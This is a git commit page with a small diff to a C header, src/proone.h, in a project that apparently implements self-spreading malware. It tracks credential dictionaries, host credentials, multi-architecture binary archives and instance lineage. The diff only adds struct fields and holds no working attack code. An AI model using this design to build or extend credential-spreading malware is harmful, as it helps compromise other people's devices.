diff options
author | David Timber <mieabby@gmail.com> | 2021-08-09 17:30:18 +1000 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2021-08-09 19:20:40 +1000 |
commit | eea0a9fbbf1aff1eac1f17914d5c116de98e1d93 (patch) | |
tree | 776e61c070d7afa0df683093b82f327631534341 /src/proone.h | |
parent | f6e94a01fd84b693c5a74b8f40edb4dc89836bdf (diff) |
Protocol and build system change ...
* Use autoheader
* Add --enable-minmem
* Add OS code. Bin archive and protocol changed accordingly
* Add instance flags in hostinfo frame. Bitfield util added for this
* Add org_id in hostinfo for lineage record
* SQL schema change: store integer value of hostinfo arch and os
* Remove config.c
* prne_index_nybin() now sets errno
* Instance ids are now preserved for lineage record
* Proone: remove arguments after init
* Fix bug in prne_htbt_ser_bin_meta(): alloc_len is not checked
Diffstat (limited to 'src/proone.h')
-rw-r--r-- | src/proone.h | 5 |
1 files changed, 5 insertions, 0 deletions
diff --git a/src/proone.h b/src/proone.h index a53ac9d..0acb17f 100644 --- a/src/proone.h +++ b/src/proone.h @@ -2,6 +2,7 @@ #include "pack.h" #include "resolv.h" #include "cred_dict.h" +#include "bitfield.h" #include <stdint.h> #include <stdbool.h> @@ -33,6 +34,8 @@ struct prne_global { // TODO: tidy init code when finalised prne_rcb_param_t rcb_param; uint8_t *m_dvault; bool is_child; + bool has_ba; + uint8_t flags[prne_bf_get_size(NB_PRNE_IFLAG)]; prne_bin_archive_t bin_archive; prne_cred_dict_t cred_dict; @@ -71,6 +74,8 @@ struct prne_shared_global { char upbin_args[1024]; size_t host_cred_len; uint8_t host_cred_data[255]; + uint8_t instance_id[16]; + uint8_t org_id[16]; }; |